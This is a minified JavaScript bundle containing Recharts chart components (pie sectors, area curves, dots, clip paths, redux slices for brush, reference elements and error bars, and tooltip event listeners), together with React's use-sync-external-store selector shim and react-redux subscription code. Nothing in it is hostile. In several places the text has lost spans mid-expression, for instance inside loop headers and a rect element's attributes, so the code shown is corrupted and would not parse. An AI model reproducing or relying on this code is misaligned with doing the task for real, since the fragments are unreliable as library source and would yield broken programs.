0:v.endAngle,"-").concat(v.midAngle,"-").concat(b),tabIndex:-1,className:"recharts-pie-sector"},CA(h,v,b),{onMouseEnter:x(v,b),onMouseLeave:g(v,b),onClick:y(v,b)}),m.createElement(SB,Ci({option:s??k,index:b,shapeType:"sector",isActive:j},z)))}))}function dF(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:s}=e,{cornerRadius:o,startAngle:l,endAngle:c,dataKey:u,nameKey:d,tooltipType:f}=n,p=Math.abs(n.minAngle),h=aF(l,c),x=Math.abs(h),g=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,y=r.filter(k=>Ve(k,u,0)!==0).length,v=(x>=360?y:y-1)*g,b=x-y*p-v,w=r.reduce((k,z)=>{var S=Ve(z,u,0);return k+(ge(S)?S:0)},0),j;if(w>0){var N;j=r.map((k,z)=>{var S=Ve(k,u,0),O=Ve(k,d,z),A=iF(n,s,k),T=(ge(S)?S:0)/w,P,D=rt(rt({},k),i&&i[z]&&i[z].props);z?P=N.endAngle+qt(h)*g*(S!==0?1:0):P=l;var G=P+qt(h)*((S!==0?p:0)+T*b),R=(P+G)/2,K=(A.innerRadius+A.outerRadius)/2,_=[{name:O,value:S,payload:D,dataKey:u,type:f,graphicalItemId:n.id}],M=dt(A.cx,A.cy,K,R);return N=rt(rt(rt(rt({},n.presentationProps),{},{percent:T,cornerRadius:typeof o=="string"?parseFloat(o):o,name:O,tooltipPayload:_,midAngle:R,middleRadius:K,tooltipPosition:M},D),A),{},{value:S,dataKey:u,startAngle:P,endAngle:G,payload:D,paddingAngle:qt(h)*g}),N})}return j}function fF(e){var{showLabels:t,sectors:n,children:r}=e,i=m.useMemo(()=>!t||!n?[]:n.map(s=>({value:s.value,payload:s.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:s.cx,cy:s.cy,innerRadius:s.innerRadius,outerRadius:s.outerRadius,startAngle:s.startAngle,endAngle:s.endAngle,clockWise:!1},fill:s.fill})),[n,t]);return m.createElement(F$,{value:t?i:void 0},r)}function mF(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:s,animationBegin:o,animationDuration:l,animationEasing:c,activeShape:u,inactiveShape:d,onAnimationStart:f,onAnimationEnd:p}=t,h=qd(t,"recharts-pie-"),x=n.current,[g,y]=m.useState(!1),v=m.useCallback(()=>{typeof p=="function"&&p(),y(!1)},[p]),b=m.useCallback(()=>{typeof f=="function"&&f(),y(!0)},[f]);return m.createElement(fF,{showLabels:!g,sectors:i},m.createElement(Yd,{animationId:h,begin:o,duration:l,isActive:s,easing:c,onAnimationStart:b,onAnimationEnd:v,key:h},w=>{var j,N=[],k=i&&i[0],z=(j=k==null?void 0:k.startAngle)!==null&&j!==void 0?j:0;return i==null||i.forEach((S,O)=>{var A=x&&x[O],T=O>0?Ro(S,"paddingAngle",0):0;if(A){var P=At(A.endAngle-A.startAngle,S.endAngle-S.startAngle,w),D=rt(rt({},S),{},{startAngle:z+T,endAngle:z+P+T});N.push(D),z=D.endAngle}else{var{endAngle:G,startAngle:R}=S,K=At(0,G-R,w),_=rt(rt({},S),{},{startAngle:z+T,endAngle:z+K+T});N.push(_),z=_.endAngle}}),n.current=N,m.createElement(tn,null,m.createElement(uF,{sectors:N,activeShape:u,inactiveShape:d,allOtherPieProps:t,shape:t.shape,id:r}))}),m.createElement(cF,{showLabels:!g,sectors:i,props:t}),t.children)}var pF={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:Zt.area};function hF(e){var{id:t}=e,n=Sf(e,YB),{hide:r,className:i,rootTabIndex:s}=e,o=m.useMemo(()=>Nz(e.children,mf),[e.children]),l=je(d=>sB(d,t,o)),c=m.useRef(null),u=Qe("recharts-pie",i);return r||l==null?(c.current=null,m.createElement(tn,{tabIndex:s,className:u})):m.createElement(Mi,{zIndex:e.zIndex},m.createElement(tF,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:l,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),m.createElement(tn,{tabIndex:s,className:u},m.createElement(mF,{props:rt(rt({},n),{},{sectors:l}),previousSectorsRef:c,id:t})))}function Ez(e){var t=gn(e,pF),{id:n}=t,r=Sf(t,qB),i=Mr(r);return m.createElement(Cz,{id:n,type:"pie"},s=>m.createElement(m.Fragment,null,m.createElement(HB,{type:"pie",id:s,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),m.createElement(eF,Ci({},r,{id:s})),m.createElement(hF,Ci({},r,{id:s}))))}Ez.displayName="Pie";var xF=["points"];function bb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sm(e){for(var t=1;t{var y,v,b=Sm(Sm(Sm({r:3},o),f),{},{index:g,cx:(y=x.x)!==null&&y!==void 0?y:void 0,cy:(v=x.y)!==null&&v!==void 0?v:void 0,dataKey:s,value:x.value,payload:x.payload,points:t});return m.createElement(jF,{key:"dot-".concat(g),option:n,dotProps:b,className:i})}),h={};return l&&c!=null&&(h.clipPath="url(#clipPath-".concat(d?"":"dots-").concat(c,")")),m.createElement(Mi,{zIndex:u},m.createElement(tn,Vu({className:r},h),p))}function wb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function jb(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),AF=I([_F,Hr,Kr],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),gv=()=>je(AF),OF=()=>je(kR);function Nb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Cm(e){for(var t=1;t{var{point:t,childIndex:n,mainColor:r,activeDot:i,dataKey:s,clipPath:o}=e;if(i===!1||t.x==null||t.y==null)return null;var l={index:n,dataKey:s,cx:t.x,cy:t.y,r:4,fill:r??"none",strokeWidth:2,stroke:"#fff",payload:t.payload,value:t.value},c=Cm(Cm(Cm({},l),Do(i)),Ix(i)),u;return m.isValidElement(i)?u=m.cloneElement(i,c):typeof i=="function"?u=i(c):u=m.createElement(xz,c),m.createElement(tn,{className:"recharts-active-dot",clipPath:o},u)};function kb(e){var{points:t,mainColor:n,activeDot:r,itemDataKey:i,clipPath:s,zIndex:o=Zt.activeDot}=e,l=je(ps),c=OF();if(t==null||c==null)return null;var u=t.find(d=>c.includes(d.payload));return Mt(u)?null:m.createElement(Mi,{zIndex:o},m.createElement(IF,{point:u,childIndex:Number(l),mainColor:n,dataKey:i,activeDot:r,clipPath:s}))}var Oz=e=>{var{chartData:t}=e,n=ot(),r=Jn();return m.useEffect(()=>r?()=>{}:(n(D2(t)),()=>{n(D2(void 0))}),[t,n,r]),null},zb={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},Tz=nn({name:"brush",initialState:zb,reducers:{setBrushSettings(e,t){return t.payload==null?zb:t.payload}}}),{setBrushSettings:yH}=Tz.actions,DF=Tz.reducer,RF={dots:[],areas:[],lines:[]},Mz=nn({name:"referenceElements",initialState:RF,reducers:{addDot:(e,t)=>{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=Yn(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=Yn(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=Yn(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:bH,removeDot:wH,addArea:jH,removeArea:NH,addLine:kH,removeLine:zH}=Mz.actions,$F=Mz.reducer,BF=m.createContext(void 0),FF=e=>{var{children:t}=e,[n]=m.useState("".concat($o("recharts"),"-clip")),r=gv();if(r==null)return null;var{x:i,y:s,width:o,height:l}=r;return m.createElement(BF.Provider,{value:n},m.createElement("defs",null,m.createElement("clipPath",{id:n},m.createElement("rect",{x:i,y:s,height:l,width:o}))),t)},WF={},Lz=nn({name:"errorBars",initialState:WF,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(s=>s.dataKey===r.dataKey&&s.direction===r.direction?i:s))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:SH,replaceErrorBar:CH,removeErrorBar:PH}=Lz.actions,UF=Lz.reducer;function Iz(e,t){var n,r,i=je(u=>qr(u,e)),s=je(u=>Xr(u,t)),o=(n=i==null?void 0:i.allowDataOverflow)!==null&&n!==void 0?n:Z4.allowDataOverflow,l=(r=s==null?void 0:s.allowDataOverflow)!==null&&r!==void 0?r:Q4.allowDataOverflow,c=o||l;return{needClip:c,needClipX:o,needClipY:l}}function VF(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=gv(),{needClipX:s,needClipY:o,needClip:l}=Iz(t,n);if(!l||!i)return null;var{x:c,y:u,width:d,height:f}=i;return m.createElement("clipPath",{id:"clipPath-".concat(r)},m.createElement("rect",{x:s?c:c-d/2,y:o?u:u-f/2,width:s?d:d*2,height:o?f:f*2}))}function HF(e){var t=Do(e),n=3,r=2;if(t!=null){var{r:i,strokeWidth:s}=t,o=Number(i),l=Number(s);return(Number.isNaN(o)||o<0)&&(o=n),(Number.isNaN(l)||l<0)&&(l=r),{r:o,strokeWidth:l}}return{r:n,strokeWidth:r}}var KF={};/** + * @license React + * use-sync-external-store-with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Nl=m;function GF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var YF=typeof Object.is=="function"?Object.is:GF,qF=Nl.useSyncExternalStore,XF=Nl.useRef,ZF=Nl.useEffect,QF=Nl.useMemo,JF=Nl.useDebugValue;KF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=XF(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=QF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,YF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=qF(e,s[0],s[1]);return ZF(function(){o.hasValue=!0,o.value=l},[l]),JF(l),l};function eW(e){e()}function tW(){let e=null,t=null;return{clear(){e=null,t=null},notify(){eW(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var Sb={notify(){},get:()=>[]};function nW(e,t){let n,r=Sb,i=0,s=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return s}function d(){i++,n||(n=e.subscribe(c),r=tW())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=Sb)}function p(){s||(s=!0,d())}function h(){s&&(s=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:p,tryUnsubscribe:h,getListeners:()=>r};return x}var rW=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",iW=rW(),aW=()=>typeof navigator<"u"&&navigator.product==="ReactNative",sW=aW(),oW=()=>iW||sW?m.useLayoutEffect:m.useEffect,lW=oW();function Cb(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function cW(e,t){if(Cb(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const c=nW(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=m.useMemo(()=>i.getState(),[i]);lW(()=>{const{subscription:c}=s;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[s,o]);const l=n||dW;return m.createElement(l.Provider,{value:s},t)}var mW=fW,pW=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function hW(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function Dz(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(pW.has(r)){if(e[r]==null&&t[r]==null)continue;if(!cW(e[r],t[r]))return!1}else if(!hW(e[r],t[r]))return!1;return!0}function yv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:_z}function bv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:_z}var Rz=(e,t,n)=>w3(e,"xAxis",yv(e,t),n),$z=(e,t,n)=>b3(e,"xAxis",yv(e,t),n),Bz=(e,t,n)=>w3(e,"yAxis",bv(e,t),n),Fz=(e,t,n)=>b3(e,"yAxis",bv(e,t),n),xW=I([De,Rz,Bz,$z,Fz],(e,t,n,r,i)=>vr(e,"xAxis")?xu(t,r,!1):xu(n,i,!1)),vW=(e,t)=>t,Wz=I([e3,vW],(e,t)=>e.filter(n=>n.type==="area").find(n=>n.id===t)),Uz=e=>{var t=De(e),n=vr(t,"xAxis");return n?"yAxis":"xAxis"},gW=(e,t)=>{var n=Uz(e);return n==="yAxis"?bv(e,t):yv(e,t)},yW=(e,t,n)=>a3(e,Uz(e),gW(e,t),n),bW=I([Wz,yW],(e,t)=>{var n;if(!(e==null||t==null)){var{stackId:r}=e,i=L0(e);if(!(r==null||i==null)){var s=(n=t[r])===null||n===void 0?void 0:n.stackedData,o=s==null?void 0:s.find(l=>l.key===i);if(o!=null)return o.map(l=>[l[0],l[1]])}}}),wW=I([De,Rz,Bz,$z,Fz,bW,uI,xW,Wz,yI],(e,t,n,r,i,s,o,l,c,u)=>{var{chartData:d,dataStartIndex:f,dataEndIndex:p}=o;if(!(c==null||e!=="horizontal"&&e!=="vertical"||t==null||n==null||r==null||i==null||r.length===0||i.length===0||l==null)){var{data:h}=c,x;if(h&&h.length>0?x=h:x=d==null?void 0:d.slice(f,p+1),x!=null)return BW({layout:e,xAxis:t,yAxis:n,xAxisTicks:r,yAxisTicks:i,dataStartIndex:f,areaSettings:c,stackedData:s,displayedData:x,chartBaseValue:u,bandSize:l})}}),jW=["id"],NW=["activeDot","animationBegin","animationDuration","animationEasing","connectNulls","dot","fill","fillOpacity","hide","isAnimationActive","legendType","stroke","xAxisId","yAxisId"];function na(){return na=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,stroke:r,fill:i,legendType:s,hide:o}=e;return[{inactive:o,dataKey:t,type:s,color:Hu(r,i),value:Rd(n,t),payload:e}]},EW=m.memo(e=>{var{dataKey:t,data:n,stroke:r,strokeWidth:i,fill:s,name:o,hide:l,unit:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:n,getPosition:bs,settings:{stroke:r,strokeWidth:i,fill:s,dataKey:t,nameKey:void 0,name:Rd(o,t),hide:l,type:u,color:Hu(r,s),unit:c,graphicalItemId:d}};return m.createElement(Sz,{tooltipEntrySettings:f})});function _W(e){var{clipPathId:t,points:n,props:r}=e,{needClip:i,dot:s,dataKey:o}=r,l=Mr(r);return m.createElement(kF,{points:n,dot:s,className:"recharts-area-dots",dotClassName:"recharts-area-dot",dataKey:o,baseProps:l,needClip:i,clipPathId:t})}function AW(e){var{showLabels:t,children:n,points:r}=e,i=r.map(s=>{var o,l,c={x:(o=s.x)!==null&&o!==void 0?o:0,y:(l=s.y)!==null&&l!==void 0?l:0,width:0,lowerWidth:0,upperWidth:0,height:0};return Va(Va({},c),{},{value:s.value,payload:s.payload,parentViewBox:void 0,viewBox:c,fill:void 0})});return m.createElement(B$,{value:t?i:void 0},n)}function Eb(e){var{points:t,baseLine:n,needClip:r,clipPathId:i,props:s}=e,{layout:o,type:l,stroke:c,connectNulls:u,isRange:d}=s,{id:f}=s,p=Vz(s,jW),h=Mr(p),x=Ut(p);return m.createElement(m.Fragment,null,(t==null?void 0:t.length)>1&&m.createElement(tn,{clipPath:r?"url(#clipPath-".concat(i,")"):void 0},m.createElement(Qa,na({},x,{id:f,points:t,connectNulls:u,type:l,baseLine:n,layout:o,stroke:"none",className:"recharts-area-area"})),c!=="none"&&m.createElement(Qa,na({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:t})),c!=="none"&&d&&m.createElement(Qa,na({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:n}))),m.createElement(_W,{points:t,props:p,clipPathId:i}))}function OW(e){var t,n,{alpha:r,baseLine:i,points:s,strokeWidth:o}=e,l=(t=s[0])===null||t===void 0?void 0:t.y,c=(n=s[s.length-1])===null||n===void 0?void 0:n.y;if(!Ee(l)||!Ee(c))return null;var u=r*Math.abs(l-c),d=Math.max(...s.map(f=>f.x||0));return ge(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.x||0),d)),ge(d)?m.createElement("rect",{x:0,y:lf.y||0));return ge(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.y||0),d)),ge(d)?m.createElement("rect",{x:l({points:o,baseLine:l}),[o,l]),g=qd(x,"recharts-area-"),y=iM(),[v,b]=m.useState(!1),w=!v,j=m.useCallback(()=>{typeof h=="function"&&h(),b(!1)},[h]),N=m.useCallback(()=>{typeof p=="function"&&p(),b(!0)},[p]);if(y==null)return null;var k=i.current,z=s.current;return m.createElement(AW,{showLabels:w,points:o},r.children,m.createElement(Yd,{animationId:g,begin:u,duration:d,isActive:c,easing:f,onAnimationEnd:j,onAnimationStart:N,key:g},S=>{if(k){var O=k.length/o.length,A=S===1?o:o.map((P,D)=>{var G=Math.floor(D*O);if(k[G]){var R=k[G];return Va(Va({},P),{},{x:At(R.x,P.x,S),y:At(R.y,P.y,S)})}return P}),T;return ge(l)?T=At(z,l,S):Mt(l)||mr(l)?T=At(z,0,S):T=l.map((P,D)=>{var G=Math.floor(D*O);if(Array.isArray(z)&&z[G]){var R=z[G];return Va(Va({},P),{},{x:At(R.x,P.x,S),y:At(R.y,P.y,S)})}return P}),S>0&&(i.current=A,s.current=T),m.createElement(Eb,{points:A,baseLine:T,needClip:t,clipPathId:n,props:r})}return S>0&&(i.current=o,s.current=l),m.createElement(tn,null,c&&m.createElement("defs",null,m.createElement("clipPath",{id:"animationClipPath-".concat(n)},m.createElement(MW,{alpha:S,points:o,baseLine:l,layout:y,strokeWidth:r.strokeWidth}))),m.createElement(tn,{clipPath:"url(#animationClipPath-".concat(n,")")},m.createElement(Eb,{points:o,baseLine:l,needClip:t,clipPathId:n,props:r})))}),m.createElement(hz,{label:r.label}))}function IW(e){var{needClip:t,clipPathId:n,props:r}=e,i=m.useRef(null),s=m.useRef();return m.createElement(LW,{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:s})}class DW extends m.PureComponent{render(){var{hide:t,dot:n,points:r,className:i,top:s,left:o,needClip:l,xAxisId:c,yAxisId:u,width:d,height:f,id:p,baseLine:h,zIndex:x}=this.props;if(t)return null;var g=Qe("recharts-area",i),y=p,{r:v,strokeWidth:b}=HF(n),w=kz(n),j=v*2+b,N=l?"url(#clipPath-".concat(w?"":"dots-").concat(y,")"):void 0;return m.createElement(Mi,{zIndex:x},m.createElement(tn,{className:g},l&&m.createElement("defs",null,m.createElement(VF,{clipPathId:y,xAxisId:c,yAxisId:u}),!w&&m.createElement("clipPath",{id:"clipPath-dots-".concat(y)},m.createElement("rect",{x:o-j/2,y:s-j/2,width:d+j,height:f+j}))),m.createElement(IW,{needClip:l,clipPathId:y,props:this.props})),m.createElement(kb,{points:r,mainColor:Hu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:N}),this.props.isRange&&Array.isArray(h)&&m.createElement(kb,{points:h,mainColor:Hu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:N}))}}var Hz={activeDot:!0,animationBegin:0,animationDuration:1500,animationEasing:"ease",connectNulls:!1,dot:!1,fill:"#3182bd",fillOpacity:.6,hide:!1,isAnimationActive:"auto",legendType:"line",stroke:"#3182bd",strokeWidth:1,type:"linear",label:!1,xAxisId:0,yAxisId:0,zIndex:Zt.area};function RW(e){var t,n=gn(e,Hz),{activeDot:r,animationBegin:i,animationDuration:s,animationEasing:o,connectNulls:l,dot:c,fill:u,fillOpacity:d,hide:f,isAnimationActive:p,legendType:h,stroke:x,xAxisId:g,yAxisId:y}=n,v=Vz(n,NW),b=ws(),w=H3(),{needClip:j}=Iz(g,y),N=Jn(),{points:k,isRange:z,baseLine:S}=(t=je(G=>wW(G,e.id,N)))!==null&&t!==void 0?t:{},O=gv();if(b!=="horizontal"&&b!=="vertical"||O==null||w!=="AreaChart"&&w!=="ComposedChart")return null;var{height:A,width:T,x:P,y:D}=O;return!k||!k.length?null:m.createElement(DW,na({},v,{activeDot:r,animationBegin:i,animationDuration:s,animationEasing:o,baseLine:S,connectNulls:l,dot:c,fill:u,fillOpacity:d,height:A,hide:f,layout:b,isAnimationActive:p==="auto"?!Gd.isSsr:p,isRange:z,legendType:h,needClip:j,points:k,stroke:x,width:T,left:P,top:D,xAxisId:g,yAxisId:y}))}var $W=(e,t,n,r,i)=>{var s=n??t;if(ge(s))return s;var o=e==="horizontal"?i:r,l=o.scale.domain();if(o.type==="number"){var c=Math.max(l[0],l[1]),u=Math.min(l[0],l[1]);return s==="dataMin"?u:s==="dataMax"||c<0?c:Math.max(Math.min(l[0],l[1]),0)}return s==="dataMin"?l[0]:s==="dataMax"?l[1]:l[0]};function BW(e){var{areaSettings:{connectNulls:t,baseValue:n,dataKey:r},stackedData:i,layout:s,chartBaseValue:o,xAxis:l,yAxis:c,displayedData:u,dataStartIndex:d,xAxisTicks:f,yAxisTicks:p,bandSize:h}=e,x=i&&i.length,g=$W(s,o,n,l,c),y=s==="horizontal",v=!1,b=u.map((j,N)=>{var k,z,S,O;if(x)O=i[d+N];else{var A=Ve(j,r);Array.isArray(A)?(O=A,v=!0):O=[g,A]}var T=(k=(z=O)===null||z===void 0?void 0:z[1])!==null&&k!==void 0?k:null,P=T==null||x&&!t&&Ve(j,r)==null;if(y){var D;return{x:My({axis:l,ticks:f,bandSize:h,entry:j,index:N}),y:P?null:(D=c.scale.map(T))!==null&&D!==void 0?D:null,value:O,payload:j}}return{x:P?null:(S=l.scale.map(T))!==null&&S!==void 0?S:null,y:My({axis:c,ticks:p,bandSize:h,entry:j,index:N}),value:O,payload:j}}),w;return x||v?w=b.map(j=>{var N,k=Array.isArray(j.value)?j.value[0]:null;if(y){var z;return{x:j.x,y:k!=null&&j.y!=null&&(z=c.scale.map(k))!==null&&z!==void 0?z:null,payload:j.payload}}return{x:k!=null&&(N=l.scale.map(k))!==null&&N!==void 0?N:null,y:j.y,payload:j.payload}}):w=y?c.scale.map(g):l.scale.map(g),{points:b,baseLine:w??0,isRange:v}}function FW(e){var t=gn(e,Hz),n=Jn();return m.createElement(Cz,{id:t.id,type:"area"},r=>m.createElement(m.Fragment,null,m.createElement(_B,{legendPayload:PW(t)}),m.createElement(EW,{dataKey:t.dataKey,data:t.data,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:r}),m.createElement(VB,{type:"area",id:r,data:t.data,dataKey:t.dataKey,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,stackId:kT(t.stackId),hide:t.hide,barSize:void 0,baseValue:t.baseValue,isPanorama:n,connectNulls:t.connectNulls}),m.createElement(RW,na({},t,{id:r}))))}var Kz=m.memo(FW,Dz);Kz.displayName="Area";var WW=(e,t)=>t,wv=I([WW,De,Y4,St,R3,Zr,IR,kt],UR),jv=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},Gz=On("mouseClick"),Yz=ll();Yz.startListening({actionCreator:Gz,effect:(e,t)=>{var n=e.payload,r=wv(t.getState(),jv(n));(r==null?void 0:r.activeIndex)!=null&&t.dispatch(LD({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var zh=On("mouseMove"),qz=ll(),rc=null;qz.startListening({actionCreator:zh,effect:(e,t)=>{var n=e.payload;rc!==null&&cancelAnimationFrame(rc);var r=jv(n);rc=requestAnimationFrame(()=>{var i=t.getState(),s=rv(i,i.tooltip.settings.shared);if(s==="axis"){var o=wv(i,r);(o==null?void 0:o.activeIndex)!=null?t.dispatch(E3({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate})):t.dispatch(P3())}rc=null})}});function UW(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var _b={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},Xz=nn({name:"rootProps",initialState:_b,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:_b.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),VW=Xz.reducer,{updateOptions:HW}=Xz.actions,KW=null,GW={updatePolarOptions:(e,t)=>t.payload},Zz=nn({name:"polarOptions",initialState:KW,reducers:GW}),{updatePolarOptions:YW}=Zz.actions,qW=Zz.reducer,Qz=On("keyDown"),Jz=On("focus"),Nv=ll();Nv.startListening({actionCreator:Qz,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,s=e.payload;if(!(s!=="ArrowRight"&&s!=="ArrowLeft"&&s!=="Enter")){var o=iv(i,_s(n),yl(n),wl(n)),l=o==null?-1:Number(o);if(!(!Number.isFinite(l)||l<0)){var c=Zr(n);if(s==="Enter"){var u=$u(n,"axis","hover",String(i.index));t.dispatch(bh({active:!i.active,activeIndex:i.index,activeCoordinate:u}));return}var d=zD(n),f=d==="left-to-right"?1:-1,p=s==="ArrowRight"?1:-1,h=l+p*f;if(!(c==null||h>=c.length||h<0)){var x=$u(n,"axis","hover",String(h));t.dispatch(bh({active:!0,activeIndex:h.toString(),activeCoordinate:x}))}}}}}});Nv.startListening({actionCreator:Jz,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var s="0",o=$u(n,"axis","hover",String(s));t.dispatch(bh({active:!0,activeIndex:s,activeCoordinate:o}))}}}});var kn=On("externalEvent"),eS=ll(),_m=new Map;eS.startListening({actionCreator:kn,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,s=_m.get(i);s!==void 0&&cancelAnimationFrame(s);var o=requestAnimationFrame(()=>{try{var 